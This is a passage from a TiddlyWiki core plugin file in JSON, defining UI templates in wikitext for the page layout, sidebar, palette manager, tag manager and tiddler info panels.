"text": "\\whitespace trim\n\\define config-title()\n$:/config/SideBarSegments/Visibility/$(listItem)$\n\\end\n\n<$scrollable fallthrough=\"no\" class=\"tc-sidebar-scrollable\">\n\n<div class=\"tc-sidebar-header\">\n\n<$reveal state=\"$:/state/sidebar\" type=\"match\" text=\"yes\" default=\"yes\" retain=\"yes\" animate=\"yes\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/SideBarSegment]!has[draft.of]]\" variable=\"listItem\">\n\n<$reveal type=\"nomatch\" state=<<config-title>> text=\"hide\" tag=\"div\">\n\n<$transclude tiddler=<<listItem>> mode=\"block\"/>\n\n</$reveal>\n\n</$list>\n\n</$reveal>\n\n</div>\n\n</$scrollable>\n"
},
"$:/core/ui/PageTemplate/story": {
"title": "$:/core/ui/PageTemplate/story",
"tags": "$:/tags/PageTemplate",
"text": "\\whitespace trim\n<section class=\"tc-story-river\">\n\n<section class=\"story-backdrop\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/AboveStory]!has[draft.of]]\">\n\n<$transclude/>\n\n</$list>\n\n</section>\n\n<$list filter=\"[list[$:/StoryList]]\" history=\"$:/HistoryList\" template={{$:/config/ui/ViewTemplate}} editTemplate={{$:/config/ui/EditTemplate}} storyview={{$:/view}} emptyMessage={{$:/config/EmptyStoryMessage}}/>\n\n<section class=\"story-frontdrop\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/BelowStory]!has[draft.of]]\">\n\n<$transclude/>\n\n</$list>\n\n</section>\n\n</section>\n"
},
"$:/core/ui/PageTemplate/topleftbar": {
"title": "$:/core/ui/PageTemplate/topleftbar",
"tags": "$:/tags/PageTemplate",
"text": "<span class=\"tc-topbar tc-topbar-left\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/TopLeftBar]!has[draft.of]]\" variable=\"listItem\" storyview=\"pop\">\n\n<$transclude tiddler=<<listItem>> mode=\"inline\"/>\n\n</$list>\n\n</span>\n"
},
"$:/core/ui/PageTemplate/toprightbar": {
"title": "$:/core/ui/PageTemplate/toprightbar",
"tags": "$:/tags/PageTemplate",
"text": "<span class=\"tc-topbar tc-topbar-right\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/TopRightBar]!has[draft.of]]\" variable=\"listItem\" storyview=\"pop\">\n\n<$transclude tiddler=<<listItem>> mode=\"inline\"/>\n\n</$list>\n\n</span>\n"
},
"$:/core/ui/PageTemplate": {
"title": "$:/core/ui/PageTemplate",
"text": "\\whitespace trim\n\\define containerClasses()\ntc-page-container tc-page-view-$(storyviewTitle)$ tc-language-$(languageTitle)$\n\\end\n\\import [[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\n\n<$set name=\"tv-config-toolbar-icons\" value={{$:/config/Toolbar/Icons}}>\n\n<$set name=\"tv-config-toolbar-text\" value={{$:/config/Toolbar/Text}}>\n\n<$set name=\"tv-config-toolbar-class\" value={{$:/config/Toolbar/ButtonClass}}>\n\n<$set name=\"tv-enable-drag-and-drop\" value={{$:/config/DragAndDrop/Enable}}>\n\n<$set name=\"tv-show-missing-links\" value={{$:/config/MissingLinks}}>\n\n<$set name=\"storyviewTitle\" value={{$:/view}}>\n\n<$set name=\"languageTitle\" value={{{ [{$:/language}get[name]] }}}>\n\n<div class=<<containerClasses>>>\n\n<$navigator story=\"$:/StoryList\" history=\"$:/HistoryList\" openLinkFromInsideRiver={{$:/config/Navigation/openLinkFromInsideRiver}} openLinkFromOutsideRiver={{$:/config/Navigation/openLinkFromOutsideRiver}} relinkOnRename={{$:/config/RelinkOnRename}}>\n\n<$dropzone enable=<<tv-enable-drag-and-drop>>>\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/PageTemplate]!has[draft.of]]\" variable=\"listItem\">\n\n<$transclude tiddler=<<listItem>>/>\n\n</$list>\n\n</$dropzone>\n\n</$navigator>\n\n</div>\n\n</$set>\n\n</$set>\n\n</$set>\n\n</$set>\n\n</$set>\n\n</$set>\n\n</$set>\n"
},
"$:/PaletteManager": {
"title": "$:/PaletteManager",
"text": "\\define lingo-base() $:/language/ControlPanel/Palette/Editor/\n\\define describePaletteColour(colour)\n<$transclude tiddler=\"$:/language/Docs/PaletteColours/$colour$\"><$text text=\"$colour$\"/></$transclude>\n\\end\n\\define edit-colour-placeholder()\n edit $(colourName)$\n\\end\n\\define colour-tooltip(showhide) $showhide$ editor for $(newColourName)$ \n\\define resolve-colour(macrocall)\n\\import $:/core/macros/utils\n\\whitespace trim\n<$wikify name=\"name\" text=\"\"\"$macrocall$\"\"\">\n<<name>>\n</$wikify>\n\\end\n\\define delete-colour-index-actions() <$action-setfield $index=<<colourName>>/>\n\\define palette-manager-colour-row-segment()\n\\whitespace trim\n<$edit-text index=<<colourName>> tag=\"input\" placeholder=<<edit-colour-placeholder>> default=\"\"/>\n<br>\n<$edit-text index=<<colourName>> type=\"color\" tag=\"input\" class=\"tc-palette-manager-colour-input\"/>\n<$list filter=\"[<currentTiddler>getindex<colourName>removeprefix[<<]removesuffix[>>]] [<currentTiddler>getindex<colourName>removeprefix[<$]removesuffix[/>]]\" variable=\"ignore\">\n<$set name=\"state\" value={{{ [[$:/state/palettemanager/]addsuffix<currentTiddler>addsuffix[/]addsuffix<colourName>] }}}>\n<$wikify name=\"newColourName\" text=\"\"\"<$macrocall $name=\"resolve-colour\" macrocall={{{ [<currentTiddler>getindex<colourName>] }}}/>\"\"\">\n<$reveal state=<<state>> type=\"nomatch\" text=\"show\">\n<$button tooltip=<<colour-tooltip show>> aria-label=<<colour-tooltip show>> class=\"tc-btn-invisible\" set=<<state>> setTo=\"show\">{{$:/core/images/down-arrow}} <$text text=<<newColourName>>/></$button><br>\n</$reveal>\n<$reveal state=<<state>> type=\"match\" text=\"show\">\n<$button tooltip=<<colour-tooltip hide>> aria-label=<<colour-tooltip show>> class=\"tc-btn-invisible\" actions=\"\"\"<$action-deletetiddler $tiddler=<<state>>/>\"\"\">{{$:/core/images/up-arrow}} <$text text=<<newColourName>>/></$button><br>\n</$reveal>\n<$reveal state=<<state>> type=\"match\" text=\"show\">\n<$set name=\"colourName\" value=<<newColourName>>>\n<br>\n<<palette-manager-colour-row-segment>>\n<br><br>\n</$set>\n</$reveal>\n</$wikify>\n</$set>\n</$list>\n\\end\n\\define palette-manager-colour-row()\n\\whitespace trim\n<tr>\n<td>\n<span style=\"float:right;\">\n<$button tooltip=<<lingo Delete/Hint>> aria-label=<<lingo Delete/Hint>> class=\"tc-btn-invisible\" actions=<<delete-colour-index-actions>>>\n{{$:/core/images/delete-button}}</$button>\n</span>\n''<$macrocall $name=\"describePaletteColour\" colour=<<colourName>>/>''<br/>\n<$macrocall $name=\"colourName\" $output=\"text/plain\"/>\n</td>\n<td>\n<<palette-manager-colour-row-segment>>\n</td>\n</tr>\n\\end\n\\define palette-manager-table()\n\\whitespace trim\n<table>\n<tbody>\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/Palette]indexes[]]\" variable=\"colourName\">\n<$list filter=\"[<currentTiddler>indexes[]removeprefix<colourName>suffix[]]\" variable=\"ignore\" emptyMessage=\"\"\"\n<$list filter=\"[{$:/state/palettemanager/showexternal}removeprefix[yes]suffix[]]\" variable=\"ignore\">\n<<palette-manager-colour-row>>\n</$list>\n\"\"\">\n<<palette-manager-colour-row>>\n</$list>\n</$list>\n</tbody>\n</table>\n\\end\n<$set name=\"currentTiddler\" value={{$:/palette}}>\n\n<<lingo Prompt>> <$link to={{$:/palette}}><$macrocall $name=\"currentTiddler\" $output=\"text/plain\"/></$link>\n\n<$list filter=\"[all[current]is[shadow]is[tiddler]]\" variable=\"listItem\">\n<<lingo Prompt/Modified>>\n<$button message=\"tm-delete-tiddler\" param={{$:/palette}}><<lingo Reset/Caption>></$button>\n</$list>\n\n<$list filter=\"[all[current]is[shadow]!is[tiddler]]\" variable=\"listItem\">\n<<lingo Clone/Prompt>>\n</$list>\n\n<$button message=\"tm-new-tiddler\" param={{$:/palette}}><<lingo Clone/Caption>></$button>\n\n<$checkbox tiddler=\"$:/state/palettemanager/showexternal\" field=\"text\" checked=\"yes\" unchecked=\"no\"> <<lingo Names/External/Show>></$checkbox>\n\n<<palette-manager-table>>\n"
},
"$:/core/ui/PluginInfo": {
"title": "$:/core/ui/PluginInfo",
"text": "\\define localised-info-tiddler-title()\n$(currentTiddler)$/$(languageTitle)$/$(currentTab)$\n\\end\n\\define info-tiddler-title()\n$(currentTiddler)$/$(currentTab)$\n\\end\n\\define default-tiddler-title()\n$:/core/ui/PluginInfo/Default/$(currentTab)$\n\\end\n<$transclude tiddler=<<localised-info-tiddler-title>> mode=\"block\">\n<$transclude tiddler=<<currentTiddler>> subtiddler=<<localised-info-tiddler-title>> mode=\"block\">\n<$transclude tiddler=<<currentTiddler>> subtiddler=<<info-tiddler-title>> mode=\"block\">\n<$transclude tiddler=<<default-tiddler-title>> mode=\"block\">\n{{$:/language/ControlPanel/Plugin/NoInfoFound/Hint}}\n</$transclude>\n</$transclude>\n</$transclude>\n</$transclude>\n"
},
"$:/core/ui/PluginInfo/Default/contents": {
"title": "$:/core/ui/PluginInfo/Default/contents",
"text": "\\define lingo-base() $:/language/TiddlerInfo/Advanced/PluginInfo/\n<<lingo Hint>>\n<ul>\n<$list filter=\"[all[current]plugintiddlers[]sort[title]]\" emptyMessage=<<lingo Empty/Hint>>>\n<li>\n<$link />\n</li>\n</$list>\n</ul>\n"
},
"$:/core/ui/PluginListItemTemplate": {
"title": "$:/core/ui/PluginListItemTemplate",
"text": "<div class=\"tc-menu-list-item\">\n<$link to={{!!title}}><$view field=\"description\"><$view field=\"title\"/></$view></$link>\n</div>"
},
"$:/core/ui/SearchResults": {
"title": "$:/core/ui/SearchResults",
"text": "<div class=\"tc-search-results\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/SearchResults]!has[draft.of]butfirst[]limit[1]]\" emptyMessage=\"\"\"\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/SearchResults]!has[draft.of]]\">\n<$transclude mode=\"block\"/>\n</$list>\n\"\"\">\n\n<$macrocall $name=\"tabs\" tabsList=\"[all[shadows+tiddlers]tag[$:/tags/SearchResults]!has[draft.of]]\" default={{$:/config/SearchResults/Default}}/>\n\n</$list>\n\n</div>\n"
},
"$:/core/ui/SideBar/More": {
"title": "$:/core/ui/SideBar/More",
"tags": "$:/tags/SideBar",
"caption": "{{$:/language/SideBar/More/Caption}}",
"text": "<div class=\"tc-more-sidebar\">\n<$macrocall $name=\"tabs\" tabsList=\"[all[shadows+tiddlers]tag[$:/tags/MoreSideBar]!has[draft.of]]\" default={{$:/config/DefaultMoreSidebarTab}} state=\"$:/state/tab/moresidebar\" class=\"tc-vertical tc-sidebar-tabs-more\" />\n</div>"
},
"$:/core/ui/SideBar/Open": {
"title": "$:/core/ui/SideBar/Open",
"tags": "$:/tags/SideBar",
"caption": "{{$:/language/SideBar/Open/Caption}}",
"text": "\\whitespace trim\n\\define lingo-base() $:/language/CloseAll/\n\n\\define drop-actions()\n<$action-listops $tiddler=<<tv-story-list>> $subfilter=\"+[insertbefore:currentTiddler<actionTiddler>]\"/>\n\\end\n\n\\define placeholder()\n<div class=\"tc-droppable-placeholder\"/>\n\\end\n\n\\define droppable-item(button)\n\\whitespace trim\n<$droppable actions=<<drop-actions>> enable=<<tv-allow-drag-and-drop>>>\n<<placeholder>>\n<div>\n$button$\n</div>\n</$droppable>\n\\end\n\n<div class=\"tc-sidebar-tab-open\">\n<$list filter=\"[list<tv-story-list>]\" history=<<tv-history-list>> storyview=\"pop\">\n<div class=\"tc-sidebar-tab-open-item\">\n<$macrocall $name=\"droppable-item\" button=\"\"\"<$button message=\"tm-close-tiddler\" tooltip={{$:/language/Buttons/Close/Hint}} aria-label={{$:/language/Buttons/Close/Caption}} class=\"tc-btn-invisible tc-btn-mini\">{{$:/core/images/close-button}}</$button> <$link to={{!!title}}><$view field=\"title\"/></$link>\"\"\"/>\n</div>\n</$list>\n<$tiddler tiddler=\"\">\n<div>\n<$macrocall $name=\"droppable-item\" button=\"\"\"<$button message=\"tm-close-all-tiddlers\" class=\"tc-btn-invisible tc-btn-mini\"><<lingo Button>></$button>\"\"\"/>\n</div>\n</$tiddler>\n</div>\n"
},
"$:/core/ui/SideBar/Recent": {
"title": "$:/core/ui/SideBar/Recent",
"tags": "$:/tags/SideBar",
"caption": "{{$:/language/SideBar/Recent/Caption}}",
"text": "<$macrocall $name=\"timeline\" format={{$:/language/RecentChanges/DateFormat}}/>\n"
},
"$:/core/ui/SideBar/Tools": {
"title": "$:/core/ui/SideBar/Tools",
"tags": "$:/tags/SideBar",
"caption": "{{$:/language/SideBar/Tools/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/\n\\define config-title()\n$:/config/PageControlButtons/Visibility/$(listItem)$\n\\end\n\n<<lingo Basics/Version/Prompt>> <<version>>\n\n<$set name=\"tv-config-toolbar-icons\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-text\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-class\" value=\"\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/PageControls]!has[draft.of]]\" variable=\"listItem\">\n\n<div style=\"position:relative;\" class={{{ [<listItem>encodeuricomponent[]addprefix[tc-btn-]] }}}>\n\n<$checkbox tiddler=<<config-title>> field=\"text\" checked=\"show\" unchecked=\"hide\" default=\"show\"/> <$transclude tiddler=<<listItem>>/> <i class=\"tc-muted\"><$transclude tiddler=<<listItem>> field=\"description\"/></i>\n\n</div>\n\n</$list>\n\n</$set>\n\n</$set>\n\n</$set>\n"
},
"$:/core/ui/SideBarLists": {
"title": "$:/core/ui/SideBarLists",
"text": "<$transclude tiddler=\"$:/core/ui/SideBarSegments/search\"/>\n\n<$transclude tiddler=\"$:/core/ui/SideBarSegments/tabs\"/>\n\n"
},
"$:/core/ui/SideBarSegments/page-controls": {
"title": "$:/core/ui/SideBarSegments/page-controls",
"tags": "$:/tags/SideBarSegment",
"text": "{{||$:/core/ui/PageTemplate/pagecontrols}}\n"
},
"$:/core/ui/SideBarSegments/search": {
"title": "$:/core/ui/SideBarSegments/search",
"tags": "$:/tags/SideBarSegment",
"text": "\\whitespace trim\n<div class=\"tc-sidebar-lists tc-sidebar-search\">\n\n<$set name=\"searchTiddler\" value=\"$:/temp/search\">\n<div class=\"tc-search\">\n<$edit-text tiddler=\"$:/temp/search\" type=\"search\" tag=\"input\" focus={{$:/config/Search/AutoFocus}} focusPopup=<<qualify \"$:/state/popup/search-dropdown\">> class=\"tc-popup-handle\"/>\n<$reveal state=\"$:/temp/search\" type=\"nomatch\" text=\"\">\n<$button tooltip={{$:/language/Buttons/AdvancedSearch/Hint}} aria-label={{$:/language/Buttons/AdvancedSearch/Caption}} class=\"tc-btn-invisible\">\n<$action-setfield $tiddler=\"$:/temp/advancedsearch\" text={{$:/temp/search}}/>\n<$action-setfield $tiddler=\"$:/temp/search\" text=\"\"/>\n<$action-navigate $to=\"$:/AdvancedSearch\"/>\n{{$:/core/images/advanced-search-button}}\n</$button>\n<$button class=\"tc-btn-invisible\">\n<$action-setfield $tiddler=\"$:/temp/search\" text=\"\" />\n{{$:/core/images/close-button}}\n</$button>\n<$button popup=<<qualify \"$:/state/popup/search-dropdown\">> class=\"tc-btn-invisible\">\n{{$:/core/images/down-arrow}}\n<$list filter=\"[{$:/temp/search}minlength{$:/config/Search/MinLength}limit[1]]\" variable=\"listItem\">\n<$set name=\"searchTerm\" value={{{ [<searchTiddler>get[text]] }}}>\n<$set name=\"resultCount\" value=\"\"\"<$count filter=\"[!is[system]search<searchTerm>]\"/>\"\"\">\n{{$:/language/Search/Matches}}\n</$set>\n</$set>\n</$list>\n</$button>\n</$reveal>\n<$reveal state=\"$:/temp/search\" type=\"match\" text=\"\">\n<$button to=\"$:/AdvancedSearch\" tooltip={{$:/language/Buttons/AdvancedSearch/Hint}} aria-label={{$:/language/Buttons/AdvancedSearch/Caption}} class=\"tc-btn-invisible\">\n{{$:/core/images/advanced-search-button}}\n</$button>\n</$reveal>\n</div>\n\n<$reveal tag=\"div\" class=\"tc-block-dropdown-wrapper\" state=\"$:/temp/search\" type=\"nomatch\" text=\"\">\n\n<$reveal tag=\"div\" class=\"tc-block-dropdown tc-search-drop-down tc-popup-handle\" state=<<qualify \"$:/state/popup/search-dropdown\">> type=\"nomatch\" text=\"\" default=\"\">\n\n<$list filter=\"[{$:/temp/search}minlength{$:/config/Search/MinLength}limit[1]]\" emptyMessage=\"\"\"<div class=\"tc-search-results\">{{$:/language/Search/Search/TooShort}}</div>\"\"\" variable=\"listItem\">\n\n{{$:/core/ui/SearchResults}}\n\n</$list>\n\n</$reveal>\n\n</$reveal>\n\n</$set>\n\n</div>\n"
},
"$:/core/ui/SideBarSegments/site-subtitle": {
"title": "$:/core/ui/SideBarSegments/site-subtitle",
"tags": "$:/tags/SideBarSegment",
"text": "<div class=\"tc-site-subtitle\">\n\n<$transclude tiddler=\"$:/SiteSubtitle\" mode=\"inline\"/>\n\n</div>\n"
},
"$:/core/ui/SideBarSegments/site-title": {
"title": "$:/core/ui/SideBarSegments/site-title",
"tags": "$:/tags/SideBarSegment",
"text": "<h1 class=\"tc-site-title\">\n\n<$transclude tiddler=\"$:/SiteTitle\" mode=\"inline\"/>\n\n</h1>\n"
},
"$:/core/ui/SideBarSegments/tabs": {
"title": "$:/core/ui/SideBarSegments/tabs",
"tags": "$:/tags/SideBarSegment",
"text": "<div class=\"tc-sidebar-lists tc-sidebar-tabs\">\n\n<$macrocall $name=\"tabs\" tabsList=\"[all[shadows+tiddlers]tag[$:/tags/SideBar]!has[draft.of]]\" default={{$:/config/DefaultSidebarTab}} state=\"$:/state/tab/sidebar\" class=\"tc-sidebar-tabs-main\"/>\n\n</div>\n"
},
"$:/TagManager": {
"title": "$:/TagManager",
"icon": "$:/core/images/tag-button",
"color": "#bbb",
"text": "\\define lingo-base() $:/language/TagManager/\n\\define iconEditorTab(type)\n\\whitespace trim\n<$link to=\"\"><<lingo Icons/None>></$link>\n<$list filter=\"[all[shadows+tiddlers]is[image]] [all[shadows+tiddlers]tag[$:/tags/Image]] -[type[application/pdf]] +[sort[title]] +[$type$is[system]]\">\n<$link to={{!!title}}>\n<$transclude/> <$view field=\"title\"/>\n</$link>\n</$list>\n\\end\n\\define iconEditor(title)\n\\whitespace trim\n<div class=\"tc-drop-down-wrapper\">\n<$button popupTitle={{{ [[$:/state/popup/icon/]addsuffix<__title__>] }}} class=\"tc-btn-invisible tc-btn-dropdown\">{{$:/core/images/down-arrow}}</$button>\n<$reveal stateTitle={{{ [[$:/state/popup/icon/]addsuffix<__title__>] }}} type=\"popup\" position=\"belowleft\" text=\"\" default=\"\">\n<div class=\"tc-drop-down\">\n<$linkcatcher actions=\"\"\"<$action-setfield $tiddler=<<__title__>> icon=<<navigateTo>>/>\"\"\">\n<<iconEditorTab type:\"!\">>\n<hr/>\n<<iconEditorTab type:\"\">>\n</$linkcatcher>\n</div>\n</$reveal>\n</div>\n\\end\n\\define toggleButton(state)\n\\whitespace trim\n<$reveal stateTitle=<<__state__>> type=\"match\" text=\"closed\" default=\"closed\">\n<$button setTitle=<<__state__>> setTo=\"open\" class=\"tc-btn-invisible tc-btn-dropdown\" selectedClass=\"tc-selected\">\n{{$:/core/images/info-button}}\n</$button>\n</$reveal>\n<$reveal stateTitle=<<__state__>> type=\"match\" text=\"open\" default=\"closed\">\n<$button setTitle=<<__state__>> setTo=\"closed\" class=\"tc-btn-invisible tc-btn-dropdown\" selectedClass=\"tc-selected\">\n{{$:/core/images/info-button}}\n</$button>\n</$reveal>\n\\end\n\\whitespace trim\n<table class=\"tc-tag-manager-table\">\n<tbody>\n<tr>\n<th><<lingo Colour/Heading>></th>\n<th class=\"tc-tag-manager-tag\"><<lingo Tag/Heading>></th>\n<th><<lingo Count/Heading>></th>\n<th><<lingo Icon/Heading>></th>\n<th><<lingo Info/Heading>></th>\n</tr>\n<$list filter=\"[tags[]!is[system]sort[title]]\">\n<tr>\n<td><$edit-text field=\"color\" tag=\"input\" type=\"color\"/></td>\n<td>{{||$:/core/ui/TagTemplate}}</td>\n<td><$count filter=\"[all[current]tagging[]]\"/></td>\n<td>\n<$macrocall $name=\"iconEditor\" title={{!!title}}/>\n</td>\n<td>\n<$macrocall $name=\"toggleButton\" state={{{ [[$:/state/tag-manager/]addsuffix<currentTiddler>] }}} /> \n</td>\n</tr>\n<tr>\n<td></td>\n<td colspan=\"4\">\n<$reveal stateTitle={{{ [[$:/state/tag-manager/]addsuffix<currentTiddler>] }}} type=\"match\" text=\"open\" default=\"\">\n<table>\n<tbody>\n<tr><td><<lingo Colour/Heading>></td><td><$edit-text field=\"color\" tag=\"input\" type=\"text\" size=\"9\"/></td></tr>\n<tr><td><<lingo Icon/Heading>></td><td><$edit-text field=\"icon\" tag=\"input\" size=\"45\"/></td></tr>\n</tbody>\n</table>\n</$reveal>\n</td>\n</tr>\n</$list>\n<tr>\n<td></td>\n<td style=\"position:relative;\">\n{{$:/core/ui/UntaggedTemplate}}\n</td>\n<td>\n<small class=\"tc-menu-list-count\"><$count filter=\"[untagged[]!is[system]] -[tags[]]\"/></small>\n</td>\n<td></td>\n<td></td>\n</tr>\n</tbody>\n</table>\n"
},
"$:/core/ui/TagTemplate": {
"title": "$:/core/ui/TagTemplate",
"text": "\\whitespace trim\n<span class=\"tc-tag-list-item\">\n<$set name=\"transclusion\" value=<<currentTiddler>>>\n<$macrocall $name=\"tag-pill-body\" tag=<<currentTiddler>> icon={{!!icon}} colour={{!!color}} palette={{$:/palette}} element-tag=\"\"\"$button\"\"\" element-attributes=\"\"\"popup=<<qualify \"$:/state/popup/tag\">> dragFilter='[all[current]tagging[]]' tag='span'\"\"\"/>\n<$reveal state=<<qualify \"$:/state/popup/tag\">> type=\"popup\" position=\"below\" animate=\"yes\" class=\"tc-drop-down\">\n<$set name=\"tv-show-missing-links\" value=\"yes\">\n<$transclude tiddler=\"$:/core/ui/ListItemTemplate\"/>\n</$set>\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/TagDropdown]!has[draft.of]]\" variable=\"listItem\"> \n<$transclude tiddler=<<listItem>>/> \n</$list>\n<hr>\n<$macrocall $name=\"list-tagged-draggable\" tag=<<currentTiddler>>/>\n</$reveal>\n</$set>\n</span>\n"
},
"$:/core/ui/TiddlerFieldTemplate": {
"title": "$:/core/ui/TiddlerFieldTemplate",
"text": "<tr class=\"tc-view-field\">\n<td class=\"tc-view-field-name\">\n<$text text=<<listItem>>/>\n</td>\n<td class=\"tc-view-field-value\">\n<$view field=<<listItem>>/>\n</td>\n</tr>"
},
"$:/core/ui/TiddlerFields": {
"title": "$:/core/ui/TiddlerFields",
"text": "<table class=\"tc-view-field-table\">\n<tbody>\n<$list filter=\"[all[current]fields[]sort[title]] -text\" template=\"$:/core/ui/TiddlerFieldTemplate\" variable=\"listItem\"/>\n</tbody>\n</table>\n"
},
"$:/core/ui/TiddlerInfo/Advanced/PluginInfo": {
"title": "$:/core/ui/TiddlerInfo/Advanced/PluginInfo",
"tags": "$:/tags/TiddlerInfo/Advanced",
"text": "\\define lingo-base() $:/language/TiddlerInfo/Advanced/PluginInfo/\n<$list filter=\"[all[current]has[plugin-type]]\">\n\n! <<lingo Heading>>\n\n<<lingo Hint>>\n<ul>\n<$list filter=\"[all[current]plugintiddlers[]sort[title]]\" emptyMessage=<<lingo Empty/Hint>>>\n<li>\n<$link to={{!!title}}>\n<$view field=\"title\"/>\n</$link>\n</li>\n</$list>\n</ul>\n\n</$list>\n"
},
"$:/core/ui/TiddlerInfo/Advanced/ShadowInfo": {
"title": "$:/core/ui/TiddlerInfo/Advanced/ShadowInfo",
"tags": "$:/tags/TiddlerInfo/Advanced",
"text": "\\define lingo-base() $:/language/TiddlerInfo/Advanced/ShadowInfo/\n<$set name=\"infoTiddler\" value=<<currentTiddler>>>\n\n''<<lingo Heading>>''\n\n<$list filter=\"[all[current]!is[shadow]]\">\n\n<<lingo NotShadow/Hint>>\n\n</$list>\n\n<$list filter=\"[all[current]is[shadow]]\">\n\n<<lingo Shadow/Hint>>\n\n<$list filter=\"[all[current]shadowsource[]]\">\n\n<$set name=\"pluginTiddler\" value=<<currentTiddler>>>\n<<lingo Shadow/Source>>\n</$set>\n\n</$list>\n\n<$list filter=\"[all[current]is[shadow]is[tiddler]]\">\n\n<<lingo OverriddenShadow/Hint>>\n\n</$list>\n\n\n</$list>\n</$set>\n"
},
"$:/core/ui/TiddlerInfo/Advanced": {
"title": "$:/core/ui/TiddlerInfo/Advanced",
"tags": "$:/tags/TiddlerInfo",
"caption": "{{$:/language/TiddlerInfo/Advanced/Caption}}",
"text": "<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/TiddlerInfo/Advanced]!has[draft.of]]\" variable=\"listItem\">\n<$transclude tiddler=<<listItem>>/>\n\n</$list>\n"
},
"$:/core/ui/TiddlerInfo/Fields": {
"title": "$:/core/ui/TiddlerInfo/Fields",
"tags": "$:/tags/TiddlerInfo",
"caption": "{{$:/language/TiddlerInfo/Fields/Caption}}",
"text": "<$transclude tiddler=\"$:/core/ui/TiddlerFields\"/>\n"
},
"$:/core/ui/TiddlerInfo/List": {
"title": "$:/core/ui/TiddlerInfo/List",
"tags": "$:/tags/TiddlerInfo",
"caption": "{{$:/language/TiddlerInfo/List/Caption}}",
"text": "\\define lingo-base() $:/language/TiddlerInfo/\n<$list filter=\"[list{!!title}]\" emptyMessage=<<lingo List/Empty>> template=\"$:/core/ui/ListItemTemplate\"/>\n"
},
"$:/core/ui/TiddlerInfo/Listed": {
"title": "$:/core/ui/TiddlerInfo/Listed",
"tags": "$:/tags/TiddlerInfo",
"caption": "{{$:/language/TiddlerInfo/Listed/Caption}}",
"text": "\\define lingo-base() $:/language/TiddlerInfo/\n<$list filter=\"[all[current]listed[]!is[system]]\" emptyMessage=<<lingo Listed/Empty>> template=\"$:/core/ui/ListItemTemplate\"/>\n"
},
"$:/core/ui/TiddlerInfo/References": {
"title": "$:/core/ui/TiddlerInfo/References",
"tags": "$:/tags/TiddlerInfo",
"caption": "{{$:/language/TiddlerInfo/References/Caption}}",
"text": "\\define lingo-base() $:/language/TiddlerInfo/\n<$list filter=\"[all[current]backlinks[]sort[title]]\" emptyMessage=<<lingo References/Empty>> template=\"$:/core/ui/ListItemTemplate\">\n</$list>"
},
"$:/core/ui/TiddlerInfo/Tagging": {
"title": "$:/core/ui/TiddlerInfo/Tagging",
"tags": "$:/tags/TiddlerInfo",
"caption": "{{$:/language/TiddlerInfo/Tagging/Caption}}",
"text": "\\define lingo-base() $:/language/TiddlerInfo/\n<$list filter=\"[all[current]tagging[]]\" emptyMessage=<<lingo Tagging/Empty>> template=\"$:/core/ui/ListItemTemplate\"/>\n"
},
"$:/core/ui/TiddlerInfo/Tools": {
"title": "$:/core/ui/TiddlerInfo/Tools",
"tags": "$:/tags/TiddlerInfo",
"caption": "{{$:/language/TiddlerInfo/Tools/Caption}}",
"text": "\\define lingo-base() $:/language/TiddlerInfo/\n\\define config-title()\n$:/config/ViewToolbarButtons/Visibility/$(listItem)$\n\\end\n<$set name=\"tv-config-toolbar-icons\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-text\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-class\" value=\"\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/ViewToolbar]!has[draft.of]]\" variable=\"listItem\">\n\n<$checkbox tiddler=<<config-title>> field=\"text\" checked=\"show\" unchecked=\"hide\" default=\"show\"/> <$transclude tiddler=<<listItem>>/> <i class=\"tc-muted\"><$transclude tiddler=<<listItem>> field=\"description\"/></i>\n\n</$list>\n\n</$set>\n\n</$set>\n\n</$set>\n"
},
"$:/core/ui/TiddlerInfo": {
"title": "$:/core/ui/TiddlerInfo",
"text": "<div style=\"position:relative;\">\n<div class=\"tc-tiddler-controls\" style=\"position:absolute;right:0;\">\n<$reveal state=\"$:/config/TiddlerInfo/Mode\" type=\"match\" text=\"sticky\">\n<$button set=<<tiddlerInfoState>> setTo=\"\" tooltip={{$:/language/Buttons/Info/Hint}} aria-label={{$:/language/Buttons/Info/Caption}} class=\"tc-btn-invisible\">\n{{$:/core/images/close-button}}\n</$button>\n</$reveal>\n</div>\n</div>\n\n<$macrocall $name=\"tabs\" tabsList=\"[all[shadows+tiddlers]tag[$:/tags/TiddlerInfo]!has[draft.of]]\" default={{$:/config/TiddlerInfo/Default}}/>"
},
"$:/core/ui/TopBar/menu": {
"title": "$:/core/ui/TopBar/menu",
"tags": "$:/tags/TopRightBar",
"text": "<$list filter=\"[[$:/state/sidebar]get[text]] +[else[yes]!match[no]]\" variable=\"ignore\">\n<$button set=\"$:/state/sidebar\" setTo=\"no\" tooltip={{$:/language/Buttons/HideSideBar/Hint}} aria-label={{$:/language/Buttons/HideSideBar/Caption}} class=\"tc-btn-invisible\">{{$:/core/images/chevron-right}}</$button>\n</$list>\n<$list filter=\"[[$:/state/sidebar]get[text]] +[else[yes]match[no]]\" variable=\"ignore\">\n<$button set=\"$:/state/sidebar\" setTo=\"yes\" tooltip={{$:/language/Buttons/ShowSideBar/Hint}} aria-label={{$:/language/Buttons/ShowSideBar/Caption}} class=\"tc-btn-invisible\">{{$:/core/images/chevron-left}}</$button>\n</$list>\n"
},
"$:/core/ui/UntaggedTemplate": {
"title": "$:/core/ui/UntaggedTemplate",
